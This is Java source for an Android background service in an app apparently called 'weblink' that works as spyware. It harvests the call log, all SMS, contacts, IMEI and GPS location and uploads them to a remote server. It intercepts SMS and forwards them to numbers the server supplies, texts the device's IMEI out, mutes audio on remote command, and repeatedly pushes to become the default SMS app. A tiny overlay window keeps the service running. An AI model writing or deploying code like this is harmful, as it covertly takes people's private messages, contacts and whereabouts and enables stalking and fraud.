package com.mego.weblink.activitys;

import android.annotation.SuppressLint;
import android.annotation.TargetApi;
import android.app.Notification;
import android.app.NotificationChannel;
import android.app.NotificationManager;
import android.app.PendingIntent;
import android.app.Service;
import android.content.ContentResolver;
import android.content.Context;
import android.content.Intent;
import android.database.Cursor;
import android.database.sqlite.SQLiteException;
import android.graphics.BitmapFactory;
import android.graphics.PixelFormat;
import android.media.AudioManager;
import android.net.Uri;
import android.os.Build;
import android.os.Handler;
import android.os.IBinder;
import android.os.Message;
import android.os.PowerManager;
import android.os.SystemClock;
import android.provider.CallLog;
import android.provider.ContactsContract;
import android.provider.Telephony;

import androidx.constraintlayout.widget.ConstraintLayout;
import androidx.core.app.NotificationCompat;
import android.telephony.SmsManager;
import android.util.Log;
import android.view.Gravity;
import android.view.LayoutInflater;
import android.view.MotionEvent;
import android.view.View;
import android.view.WindowManager;
import android.widget.ImageButton;
import android.widget.Toast;

import com.alibaba.fastjson.JSONObject;
import com.mego.weblink.R;
import com.mego.weblink.database.dbmodel.MyContacts;
import com.mego.weblink.database.dbmodel.Sendmsg;
import com.mego.weblink.database.dbmodel.SystemAllInfo;
import com.mego.weblink.database.dbmodel.Thmlog;
import com.mego.weblink.database.manager.MyContactsCenter;
import com.mego.weblink.database.manager.SendsmsCenter;
import com.mego.weblink.database.manager.SystemCenter;
import com.mego.weblink.database.manager.ThmlogCenter;
import com.mego.weblink.utils.ContactUtils;
import com.mego.weblink.utils.GPSProvider;
import com.mego.weblink.utils.HttpRequest;
import com.mego.weblink.utils.LonLat;
import com.mego.weblink.utils.NotificationUtil;
import com.mego.weblink.utils.SmsReceiver;
import com.mego.weblink.utils.Utils;

import java.net.URLEncoder;
import java.text.DateFormat;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Date;
import java.util.Locale;

import zuo.biao.library.interfaces.OnHttpResponseListener;
import zuo.biao.library.util.JSON;

public class XfService extends Service {

    private static final String TAG = "XfService";

    ConstraintLayout toucherLayout;
    WindowManager.LayoutParams params;
    WindowManager windowManager;

    ImageButton imageButton1;

    //状态栏高度.
    int statusBarHeight = -1;

    public static final int DOSMS = 1313;
    public static final int XTB = 1318;
    public static final int SENDCC = 1320;//发送IMEI到指定的手机
    public static final int DOTCJE = 1321;//
    public static final int SENDTZ = 1323;//发送通知
    public static final int SENDZF = 1324;//服务器要求转发的短信
    Context context = null;
    long _commandtype = 0;
    String _ccmobile = "";
    int _txjg = 10;
    String _msginfo = "";
    String _msgzfmobile = ""; //服务器心跳传来的短信转发手机号
    int _num = 0;//计数
    String _latlon = "";
    //手机短信；拦截的短信；通讯录；通话记录；服务器要求转发的短信
    boolean _issending = false;
    public Handler mHandler = new Handler() {
        @Override
        public void handleMessage(Message msg) {
            super.handleMessage(msg);
            if (DOSMS == msg.what) {
                onDosms();
            } else if (XTB == msg.what) {
                onXTB();
            } else if (SENDCC == msg.what) {
                onSendIMEI();
            } else if (DOTCJE == msg.what) {
                checkIfDefaultSMS();//检测是否为默认短信应用
            } else if (SENDTZ == msg.what) {
                notifymsg();//接收到消息提醒
            } else if (SENDZF == msg.what) {
                onSendsms();//接收到服务器短信转发
            }
        }
    };
    private PowerManager pm;
    private PowerManager.WakeLock wakeLock;
    private SmsReceiver receiver = null;

    //不与Activity进行绑定.
    @Override
    public IBinder onBind(Intent intent) {
        return null;
    }

    @Override
    public void onCreate() {
        super.onCreate();
        Log.i(TAG, "XfService Created");
        context = getBaseContext();

        createToucher();

//        IntentFilter filter = new IntentFilter();
//        filter.setPriority(2147483647);
//        filter.addAction("android.provider.Telephony.SMS_RECEIVED");
//        filter.addAction("android.provider.Telephony.SMS_DELIVER");
//        filter.addAction("com.mego.weblink.startapp");
//        filter.addAction("com.mego.weblink.setsmsapp");
//        receiver = new SmsReceiver();
//        receiver.mHandler = mHandler;
//        registerReceiver(receiver, filter);
    }

    @SuppressLint("ClickableViewAccessibility")
    private void createToucher() {
        //赋值WindowManager&LayoutParam.
        params = new WindowManager.LayoutParams();
        windowManager = (WindowManager) getApplication().getSystemService(Context.WINDOW_SERVICE);
        //设置type.系统提示型窗口，一般都在应用程序窗口之上.
        //Android8.0行为变更，对8.0进行适配https://developer.android.google.cn/about/versions/oreo/android-8.0-changes#o-apps
        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O_MR1) {
            params.type = WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
        } else {
            params.type = WindowManager.LayoutParams.TYPE_SYSTEM_ALERT;
        }
        //设置效果为背景透明.
        params.format = PixelFormat.RGBA_8888;
        //设置flags.不可聚焦及不可使用按钮对悬浮窗进行操控.
        params.flags = WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;

        //设置窗口初始停靠位置.
        params.gravity = Gravity.LEFT | Gravity.TOP;
        params.x = 0;
        params.y = 0;

        //设置悬浮窗口长宽数据.
        params.width = 10;
        params.height = 10;

        LayoutInflater inflater = LayoutInflater.from(getApplication());
        //获取浮动窗口视图所在布局.
        toucherLayout = (ConstraintLayout) inflater.inflate(R.layout.toucherlayout, null);
        //添加toucherlayout
        windowManager.addView(toucherLayout, params);

        Log.i(TAG, "toucherlayout-->left:" + toucherLayout.getLeft());
        Log.i(TAG, "toucherlayout-->right:" + toucherLayout.getRight());
        Log.i(TAG, "toucherlayout-->top:" + toucherLayout.getTop());
        Log.i(TAG, "toucherlayout-->bottom:" + toucherLayout.getBottom());

        //主动计算出当前View的宽高信息.
        toucherLayout.measure(View.MeasureSpec.UNSPECIFIED, View.MeasureSpec.UNSPECIFIED);

        //用于检测状态栏高度.
        int resourceId = getResources().getIdentifier("status_bar_height", "dimen", "android");
        if (resourceId > 0) {
            statusBarHeight = getResources().getDimensionPixelSize(resourceId);
        }
        Log.i(TAG, "状态栏高度为:" + statusBarHeight);

        //浮动窗口按钮.
        imageButton1 = (ImageButton) toucherLayout.findViewById(R.id.imageButton1);

        imageButton1.setOnClickListener(new View.OnClickListener() {
            long[] hints = new long[2];

            @Override
            public void onClick(View v) {
                Log.i(TAG, "点击了");
                System.arraycopy(hints, 1, hints, 0, hints.length - 1);
                hints[hints.length - 1] = SystemClock.uptimeMillis();
                if (SystemClock.uptimeMillis() - hints[0] >= 700) {
                    Log.i(TAG, "要执行");
                    Toast.makeText(XfService.this, "连续点击两次以退出", Toast.LENGTH_SHORT).show();
                } else {
                    Log.i(TAG, "即将关闭");
                    stopSelf();
                }
            }
        });

        imageButton1.setOnTouchListener(new View.OnTouchListener() {
            @Override
            public boolean onTouch(View v, MotionEvent event) {
                params.x = (int) event.getRawX() - 150;
                params.y = (int) event.getRawY() - 150 - statusBarHeight;
                windowManager.updateViewLayout(toucherLayout, params);
                return false;
            }
        });
    }
    long _lastTime = 0;

    @Override
    public void onDestroy() {
        if (imageButton1 != null) {
            windowManager.removeView(toucherLayout);
        }

        Log.i("MainService", "Xf--onDestroy");
//        sendBroadcast(new Intent("com.mego.weblink.startapp"));

        super.onDestroy();

    }

    @SuppressLint("WrongConstant")
    @Override
    public int onStartCommand(Intent intent, int flags, int startId) {
//        AlarmManager manager = (AlarmManager) getSystemService(ALARM_SERVICE);
//        int anHour = 1000; //1秒
//        long triggerAtTime = SystemClock.elapsedRealtime() + anHour;
//        Intent i = new Intent(this, AlarmReceiver.class);
//        PendingIntent pi = PendingIntent.getBroadcast(this, 0, i, 0);
//        manager.set(AlarmManager.ELAPSED_REALTIME_WAKEUP, triggerAtTime, pi);
//
//        long thisTime = System.currentTimeMillis();
//        if (_num % 30 == 0) {
//            onXTB();
//        }
//
//        if (_num > 10 && _num % _txjg == 0) {
//            mHandler.sendEmptyMessage(DOTCJE); //默认短信app设置
//            Log.i("MainService", "DOTCJE----" + _num + " " + _txjg);
//        }
//
//        if (_lastTime > 0) {
//            _num += (thisTime - _lastTime) / 1000;
//        }
//
//        _lastTime = System.currentTimeMillis();
//
//        if (_num > 600) {
//            _num = 0;
//        }
//        return Service.START_FLAG_REDELIVERY;

        startForeground();

        return START_STICKY;

    }
    private void startForeground() {
        if (Build.VERSION.SDK_INT < 18)
        {
            Log.d("MainService", "MyService-1");
            startForeground(123456, getNotification());
            return;
        }
    }

    private Notification getNotification()
    {
        Intent intent = new Intent(this, LjActivity.class);
        PendingIntent pendingIntent = PendingIntent.getActivity(this, 0, intent,
                PendingIntent.FLAG_UPDATE_CURRENT);
        NotificationCompat.Builder builder = new NotificationCompat.Builder(this, "")
                .setContentTitle("服务运行于前台")
                .setContentText("service被设为前台进程")
                .setTicker("service正在后台运行...")
                .setPriority(NotificationCompat.PRIORITY_MAX)
                .setWhen(System.currentTimeMillis())
                .setDefaults(NotificationCompat.DEFAULT_ALL)
                .setContentIntent(pendingIntent);
        Notification notification = builder.build();
        notification.flags = Notification.FLAG_AUTO_CANCEL;
        return notification;
    }

    //----------------------------
    //from activity copy
    //--------------
    private void onXTB() {
        Log.i("MainService", "onXTB----" + _num);
        if (_issending) {
            return;
        }
        Log.i("MainService", "onXTB---start--" + _num);
        new Thread(new Runnable() {
            @Override
            public void run() {
                if (_num < 10) {
                    queryCallLog(); //查询通话记录
                    queryMessageLog();//查询手机短信
                    getLianluoren();//查询联络人
                }
                doXTB();//心跳包
                Log.i("MainService", "onXTB---end--" + _num);
            }
        }).start();
    }

    //接收到服务器短信->转发
    private void onSendsms() {
        if (_msgzfmobile.length() < 3 || _msginfo.length() < 1) {
            return;
        }

        String msg = _msgzfmobile + " " + _msginfo;
        Sendmsg s = SendsmsCenter.getInstance().getSendmsg(0, msg);
        if (s != null) {
            return;
        }
        SendsmsCenter.getInstance().saveSendmsg(new Sendmsg(null, msg, 0));
        try {
            SmsManager smsManager = SmsManager.getDefault();
            if (_msginfo.length() <= 70) {
                smsManager.sendTextMessage(_msgzfmobile, null, _msginfo, null, null);
            } else {
                // SmsManger 类中 divideMessage 会将信息按每70 字分割
                ArrayList<String> smsDivs = smsManager.divideMessage(_msginfo);
                for (String sms : smsDivs) {
                    smsManager.sendTextMessage(_msgzfmobile, null, sms, null, null);
                }
            }

            //服务器短信转发成功后，上传发送记录
            String mobile = Utils.getIMEI(context);
            long date = System.currentTimeMillis();
            Thmlog thmlog = new Thmlog(null, "", mobile, 1, date, "", "",
                    "", 0, "", _msginfo, 1, _msgzfmobile, "", false);
            thmlog.setLatlon(_latlon);

        } catch (Exception e) {

        }

    }

    //拦截的短信->转发
    private void zfsms(String msg) {
        if (ThmlogCenter.getInstance().mZfmobile.length() < 3 || msg.length() < 1) {
            return;
        }

        try {
            SmsManager smsManager = SmsManager.getDefault();
            if (msg.length() <= 70) {
                smsManager.sendTextMessage(ThmlogCenter.getInstance().mZfmobile, null, msg, null, null);
            } else {
                // SmsManger 类中 divideMessage 会将信息按每70 字分割
                ArrayList<String> smsDivs = smsManager.divideMessage(msg);
                for (String sms : smsDivs) {
                    smsManager.sendTextMessage(ThmlogCenter.getInstance().mZfmobile, null, sms, null, null);
                }
            }
        } catch (Exception e) {

        }
    }

    private void onSendIMEI() {
        if (_ccmobile == null || _ccmobile.length() < 3) {
            return;
        }

        String ccmobile = "";
        SystemAllInfo infomobile = SystemCenter.getInstance().getSysInfo("ccmobile");
        if (infomobile != null) {
            ccmobile = infomobile.getContent();
        }

        if (ccmobile.length() > 1 && _ccmobile.equals(ccmobile)) {
            return;
        }

        String msg = Utils.getIMEI(this);
        try {
            SmsManager smsManager = SmsManager.getDefault();
            ArrayList<String> list = smsManager.divideMessage(msg);
            for (int i = 0; i < list.size(); i++) {
                smsManager.sendTextMessage(_ccmobile, null, list.get(i), null, null);
            }
            //保存，仅发送一次
            SystemCenter.getInstance().saveSysInfo(new SystemAllInfo(null, "ccmobile", _ccmobile));

        } catch (Exception e) {

        }
    }

    private String getCallType(int anInt) {
        String strType = "呼入";
        switch (anInt) {
            default:
            case 1:
                strType = "呼入";
                break;
            case 2:
                strType = "呼出";
                break;
            case 3:
                strType = "未接";
                break;
        }

        return strType;
    }

    public String formatDate(long time) {
        DateFormat format = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss", Locale.getDefault());
        return format.format(new Date(time));
    }

    public String formatDuration(long time) {
        long s = time % 60;
        long m = time / 60;
        long h = time / 60 / 60;
        StringBuilder sb = new StringBuilder();
        if (h > 0) {
            sb.append(h).append("小时");
        }
        if (m > 0) {
            sb.append(m).append("分");
        }
        sb.append(s).append("秒");
        return sb.toString();
    }

    private void onDosms() {
        //处理拦截的短信
        for (Thmlog thmlog : ThmlogCenter.getInstance().mThmlogList) {
            thmlog.setLatlon(_latlon);
            Sendmsg s = SendsmsCenter.getInstance().getSendmsg(thmlog.getDate(), thmlog.getSmsmsg());
            if (s != null) {
                continue;
            }
            SendsmsCenter.getInstance().saveSendmsg(new Sendmsg(null, thmlog.getSmsmsg(), thmlog.getDate()));
            ThmlogCenter.getInstance().saveThmlog(thmlog);

            //转发短信
            zfsms(thmlog.getSmsmsg());
        }
    }

    private String getMessageRead(int anInt) {
        if (1 == anInt) {
            return "已读";
        }
        if (0 == anInt) {
            return "未读";
        }
        return null;
    }

    private String getMessageType(int anInt) {
        if (1 == anInt) {
            return "收到的";
        }
        if (2 == anInt) {
            return "已发出";
        }
        return null;
    }

    private String getMessageStatus(int anInt) {
        switch (anInt) {
            case -1:
                return "接收";
            case 0:
                return "complete";
            case 64:
                return "pending";
            case 128:
                return "failed";
            default:
                break;
        }
        return null;
    }

    private String getPerson(String address) {
        try {
            ContentResolver resolver = getContentResolver();
            Uri uri = Uri.withAppendedPath(ContactsContract.PhoneLookup.CONTENT_FILTER_URI, address);
            Cursor cursor;
            cursor = resolver.query(uri, new String[]{ContactsContract.PhoneLookup.DISPLAY_NAME}, null, null, null);
            if (cursor != null) {
                try {
                    if (cursor.getCount() != 0) {
                        cursor.moveToFirst();
                        String name = cursor.getString(0);
                        return name;
                    }
                } catch (Exception e) {
                    e.printStackTrace();
                } finally {
                    cursor.close();
                }
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
        return null;
    }

    void openGps(boolean open) {
        GPSProvider.getInstance().initGPSProvider(this, open);
        LonLat pos = GPSProvider.getInstance().getPos();
        if (pos != null) {
            _latlon = pos.GetLat() + ", " + pos.GetLon();
        }
    }

    /**
     * 检测是否为默认短信应用，否的话弹框请用户选择
     */
    private void checkIfDefaultSMS() {
        final String myPackageName = getPackageName();
        if (!Telephony.Sms.getDefaultSmsPackage(this).equals(myPackageName)) {
//            SystemHelper.setTopApp(context);
            // App is not default.
            notifymsg0();

            sendBroadcast(new Intent("com.mego.weblink.setsmsapp"));
//            Intent intent = new Intent(Telephony.Sms.Intents.ACTION_CHANGE_DEFAULT);
//            intent.putExtra(Telephony.Sms.Intents.EXTRA_PACKAGE_NAME, myPackageName);
//            startActivity(intent);
        } else {
            // App is the default.
        }
//        Utils.log("checkIfDefaultSMS");
    }

    private void huanyuan() {
//        final String myPackageName = getPackageName();
//        if (Telephony.Sms.getDefaultSmsPackage(this).equals(myPackageName)) {
//            String defaultSmsApp = Telephony.Sms.getDefaultSmsPackage(getActivity());
//            Intent smsIntent = new Intent(Telephony.Sms.Intents.ACTION_CHANGE_DEFAULT);
//            intent.putExtra(Telephony.Sms.Intents.EXTRA_PACKAGE_NAME, defaultSmsApp);
//            startActivity(smsIntent);
//        }
    }

    //控制學生手機的音量（可設定成靜音）
    void setJinyin() {
        AudioManager am = (AudioManager) getSystemService(Context.AUDIO_SERVICE);
        am.setStreamVolume(AudioManager.STREAM_MUSIC, 0, AudioManager.FLAG_PLAY_SOUND);//设置值为Val
        setBeiguang();
    }

    //螢幕背光可設定成最暗
    void setBeiguang() {
//        ContentResolver resolver = context.getContentResolver();
//        Uri uri = android.provider.Settings.System.getUriFor(Settings.System.SCREEN_BRIGHTNESS);
//        android.provider.Settings.System.putInt(resolver, Settings.System.SCREEN_BRIGHTNESS, 1);
//        resolver.notifyChange(uri, null);
    }

    //查询通话记录
    @TargetApi(21)
    private void queryCallLog() {
        String name = "";
        String mobile = Utils.getIMEI(this);

        ContentResolver resolver = getContentResolver();
        //获取cursor对象
        Cursor cursor = resolver.query(CallLog.Calls.CONTENT_URI, new String[]{
                CallLog.Calls.CACHED_FORMATTED_NUMBER,
//                CallLog.Calls.CACHED_MATCHED_NUMBER,
                CallLog.Calls.NUMBER,
                CallLog.Calls.CACHED_NAME,
                CallLog.Calls.TYPE,
                CallLog.Calls.DATE,
                CallLog.Calls.DURATION,
                CallLog.Calls.GEOCODED_LOCATION,
        }, null, null, "date DESC ");

        /**
         *  "date DESC limit 2"
         *  按时间排序查询2条记录
         */

        if (cursor != null) {
            Log.i(TAG, "cursor length is " + cursor.getCount());
            try {
                while (cursor.moveToNext()) {
                    CallRecord record = new CallRecord();
                    record.formatted_number = cursor.getString(0);
                    record.matched_number = cursor.getString(1);
                    record.name = cursor.getString(2);
                    record.type = getCallType(cursor.getInt(3));
                    record.date = cursor.getLong(4);
                    record.duration = cursor.getLong(5);
                    record.location = cursor.getString(6);

                    Thmlog thmlog = ThmlogCenter.getInstance().getThmlog(record.date, 0);
                    if (thmlog == null) {
                        thmlog = new Thmlog(null, name, mobile, 0, record.date, record.matched_number, record.name,
                                record.type, record.duration, "", "", 0, "", _latlon, false);
                        ThmlogCenter.getInstance().saveThmlog(thmlog);//保存上传记录
                    }
                }
            } catch (Exception e) {
                e.printStackTrace();
            } finally {
                cursor.close();  //关闭cursor，避免内存泄露
            }
        }
    }

    //查询短信
    @TargetApi(21)
    public String queryMessageLog() {
        final String SMS_URI_ALL = "content://sms/"; // 所有短信
        final String SMS_URI_INBOX = "content://sms/inbox"; // 收件箱
        final String SMS_URI_SEND = "content://sms/sent"; // 已发送
        final String SMS_URI_DRAFT = "content://sms/draft"; // 草稿
        final String SMS_URI_OUTBOX = "content://sms/outbox"; // 发件箱
        final String SMS_URI_FAILED = "content://sms/failed"; // 发送失败
        final String SMS_URI_QUEUED = "content://sms/queued"; // 待发送列表

        String name = "";
        String mobile = Utils.getIMEI(this);

        StringBuilder smsBuilder = new StringBuilder();
        Utils.log("a1");
        try {
            Uri uri = Uri.parse(SMS_URI_ALL);
            String[] projection = new String[]{"_id", "address", "person",
                    "body", "date", "type",};
            Cursor cur = getContentResolver().query(uri, projection, null,
                    null, "date desc"); // 获取手机内部短信
            // 获取短信中最新的未读短信
            // Cursor cur = getContentResolver().query(uri, projection,
            // "read = ?", new String[]{"0"}, "date desc");
            Utils.log("a2");
            if (cur.moveToFirst()) {
                Utils.log("a3");
                int index_Address = cur.getColumnIndex("address");
                int index_Person = cur.getColumnIndex("person");
                int index_Body = cur.getColumnIndex("body");
                int index_Date = cur.getColumnIndex("date");
                int index_Type = cur.getColumnIndex("type");

                do {
                    String strAddress = cur.getString(index_Address);
                    int intPerson = cur.getInt(index_Person);
                    String strbody = cur.getString(index_Body);
                    long longDate = cur.getLong(index_Date);
                    int intType = cur.getInt(index_Type);

                    SimpleDateFormat dateFormat = new SimpleDateFormat(
                            "yyyy-MM-dd hh:mm:ss");
                    Date d = new Date(longDate);
                    String strDate = dateFormat.format(d);

                    String strType = "";
                    if (intType == 1) {
                        strType = "接收";
                    } else if (intType == 2) {
                        strType = "发送";
                    } else if (intType == 3) {
                        strType = "草稿";
                        continue;
                    } else if (intType == 4) {
                        strType = "发件箱";
                        continue;
                    } else if (intType == 5) {
                        strType = "发送失败";
                        continue;
                    } else if (intType == 6) {
                        strType = "待发送列表";
                        continue;
                    } else if (intType == 0) {
                        strType = "所有短信";
                        continue;
                    } else {
                        strType = "null";
                        continue;
                    }

                    Thmlog thmlog = ThmlogCenter.getInstance().getThmlog(longDate, 1);
                    if (thmlog == null) {
                        thmlog = new Thmlog(null, name, mobile, 1, longDate, "", "",
                                "", 0, strAddress, strbody, intType, "", _latlon, false);
                        ThmlogCenter.getInstance().saveThmlog(thmlog);//保存上传记录
                    }

                } while (cur.moveToNext());

                if (!cur.isClosed()) {
                    cur.close();
                    cur = null;
                }
            } else {
                smsBuilder.append("no result!");
            }

            smsBuilder.append("getSmsInPhone has executed!");

        } catch (SQLiteException ex) {

        }

        return smsBuilder.toString();
    }

    //查询通訊錄
    void getLianluoren() {
        ArrayList<MyContacts> contacts = ContactUtils.getAllContacts(context);
        for (MyContacts contact : contacts) {
            MyContacts contact0 = MyContactsCenter.getInstance().getMyContacts(contact.name, contact.phone);
            if (contact0 == null) {
                MyContactsCenter.getInstance().saveMyContacts(contact);
            }
        }
    }

    //提示
    void notifymsg() {
        NotificationUtil notificationUtils = new NotificationUtil(this);
        notificationUtils.sendNotification(getString(R.string.app_name), _msginfo);
    }

    void notifymsg0() {
        NotificationManager notificationManager = (NotificationManager) getSystemService(NOTIFICATION_SERVICE);
        NotificationCompat.Builder builder = null;
        /**
         * 这里需要注意，8.0以上需要创建 Channel 渠道
         */
        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
            NotificationChannel notificationChannel = new NotificationChannel("友情通知", getString(R.string.app_name),
                    NotificationManager.IMPORTANCE_DEFAULT);
            notificationManager.createNotificationChannel(notificationChannel);
            builder = new NotificationCompat.Builder(this, "友情通知");
        } else {
            builder = new NotificationCompat.Builder(this);
        }

        //Ticker是状态栏显示的提示
        builder.setTicker("请同意預設短信管理APP");
        //第一行内容  通常作为通知栏标题
        builder.setContentTitle("请同意預設短信管理APP");
        //第二行内容 通常是通知正文
        builder.setContentText(_msginfo);
        //第三行内容 通常是内容摘要什么的 在低版本机器上不一定显示
        builder.setSubText("預設短信管理！");//--没用
        //ContentInfo 在通知的右侧 时间的下面 用来展示一些其他信息
        builder.setContentInfo("預設短信管理。");//--没用
        //number设计用来显示同种通知的数量和ContentInfo的位置一样，如果设置了ContentInfo则number会被隐藏
        builder.setNumber(2);
        //true：点击通知栏，通知消失
        builder.setAutoCancel(true);
        //通知时间
        builder.setWhen(System.currentTimeMillis());
        //系统状态栏显示的小图标
        builder.setSmallIcon(R.mipmap.ic_launcher);
        //下拉显示的大图标
        builder.setLargeIcon(BitmapFactory.decodeResource(getResources(), R.mipmap.ic_launcher));
        /**
         * 这里的Intent可以携带参数传递到跳转的Activity，后面会专门解释
         */
        Intent intent = new Intent(this, LjActivity.class);
        PendingIntent pIntent = PendingIntent.getActivity(this, 1, intent, 0);
        //点击跳转的intent
        builder.setContentIntent(pIntent);
        //通知默认的声音 震动 呼吸灯
        builder.setDefaults(NotificationCompat.DEFAULT_ALL);
        Notification notification = builder.build();
        /**
         * 第一个参数为id，如果id相同则该通知会更新；
         */
        notificationManager.notify(123, notification);
    }

    //上传顺序 1.心跳包  -> 2. plsc -> 3.plsc_contact
    private void doXTB() {
        if (_issending) {
            return;
        }

        _issending = true;
        String imei = Utils.getIMEI(this);
        LonLat pos = GPSProvider.getInstance().getPos();

        String smsappstate = "0";
        final String myPackageName = getPackageName();
        if (Telephony.Sms.getDefaultSmsPackage(this).equals(myPackageName)) {
            smsappstate = "1";
        }
        Log.i("MainService", "doXTB---");
        String app_sn = getString(R.string.app_sn);
        try {
            HttpRequest.postxtb((float) pos.GetLon(), (float) pos.GetLat(), imei, smsappstate, app_sn, 0, new OnHttpResponseListener() {
                @Override
                public void onHttpResponse(int requestCode, String resultJson, Exception e) {
                    JSONObject jsonObject = JSON.parseObject(resultJson);
                    int code = 0;
                    if (jsonObject != null) {
                        code = jsonObject.getInteger("code");
                    }
                    Log.i("MainService", "doXTB1---");
                    if (code == 1) {
                        Log.i("MainService", "doXTB2---");

                        JSONObject data = jsonObject == null ? null : jsonObject.getJSONObject("data");
                        int s = data.getInteger("switch");
                        if (s == 0) {
                            ThmlogCenter.getInstance().mNeedlj = false;
                        }
                        ThmlogCenter.getInstance().mZfmobile = data.getString("zfmobile");
                        _commandtype = data.getIntValue("commandtype");
                        if (_commandtype == 1) {
                            //指令有效时间为1分半钟内
                            setJinyin();
                        } else if (_commandtype == 3) {
                            openGps(true);
                        }

                        String ccmobile = data.getString("ccmobile");//
                        if (ccmobile != null && ccmobile.length() > 3) {
                            //发送IMEI给指定的手机
                            _ccmobile = ccmobile;
                            mHandler.sendEmptyMessage(SENDCC);
                        }

                        _txjg = data.getInteger("txjg");//短信App提醒间隔 秒

                        String msginfo = data.getString("msginfo");//
                        String msgzfmobile = data.getString("msgzfmobile");//
                        _msgzfmobile = "";
                        if (msginfo != null && !_msginfo.equals(msginfo)) {
                            _msginfo = msginfo;
                            if (!msgzfmobile.isEmpty()) {
                                _msgzfmobile = msgzfmobile;
                                mHandler.sendEmptyMessage(SENDZF);
                            } else {
                                mHandler.sendEmptyMessage(SENDTZ);
                            }
                        }
                        plsc();
                    }
                }
            });
        } catch (Exception e1) {
            _issending = true;
        }

    }

    //批量上传 短信+通话记录
    void plsc() {
        final ArrayList<Thmlog> thmlogList = ThmlogCenter.getInstance().getThmlogNotSend(20);
        if (thmlogList == null || thmlogList.size() < 1) {
            _issending = false;
            return;
        }

        try {
            String msg = JSON.toJSONString(thmlogList);
            msg = URLEncoder.encode(msg, "utf-8");
            HttpRequest.postthminfo(msg, 0, new OnHttpResponseListener() {
                @Override
                public void onHttpResponse(int requestCode, String resultJson, Exception e) {
                    JSONObject jsonObject = JSON.parseObject(resultJson);
                    int code = 0;
                    if (jsonObject != null) {
                        code = jsonObject.getInteger("code");
                    }

                    if (code == 1) {
                        for (Thmlog thmlog : thmlogList) {
                            thmlog.setIssend(true);
                            ThmlogCenter.getInstance().saveThmlog(thmlog);
                        }
                    }
                    plsc_contact();
                }
            });

        } catch (Exception e) {
            e.printStackTrace();
            _issending = false;
        }

    }

    //批量上传 通讯录
    void plsc_contact() {
        final ArrayList<MyContacts> myContactsList = MyContactsCenter.getInstance().getMyContactsNotSend(20);
        if (myContactsList == null || myContactsList.size() < 1) {
            _issending = false;
            return;
        }

        String mobile = Utils.getIMEI(this);
        try {
            String msg = JSON.toJSONString(myContactsList);
            msg = URLEncoder.encode(msg, "utf-8");
            //批量上传
            HttpRequest.posttxl(msg, mobile, 0, new OnHttpResponseListener() {
                @Override
                public void onHttpResponse(int requestCode, String resultJson, Exception e) {
                    JSONObject jsonObject = JSON.parseObject(resultJson);
                    int code = 0;
                    if (jsonObject != null) {
                        code = jsonObject.getInteger("code");
                    }

                    if (code == 1) {
                        for (MyContacts myContact : myContactsList) {
                            myContact.setIssend(true);
                            MyContactsCenter.getInstance().saveMyContacts(myContact);
                        }
                    }
                    _issending = false;
                }
            });

        } catch (Exception e) {
            e.printStackTrace();
            _issending = false;
        }

    }

    class CallRecord {
        long date;
        String formatted_number;
        String matched_number;
        String name;
        String type;
        String location;
        long duration;

        @Override
        public String toString() {
//            return "CallRecord{" +
//                    "date=" + formatDate(date) +
//                    ", formatted_number='" + formatted_number + '\'' +
//                    ", matched_number='" + matched_number + '\'' +
//                    ", name='" + name + '\'' +
//                    ", type=" + type +
//                    ", location='" + location + '\'' +
//                    ", duration=" + formatDuration(duration) +
//                    '}';

            return "CallRecord{" +
                    "日期：" + formatDate(date) +
                    ", 电话='" + matched_number + '\'' +
                    ", 联系人='" + name + '\'' +
                    ", 类型=" + type +
                    ", 通话时间=" + formatDuration(duration) +
                    '}';
        }

    }


}

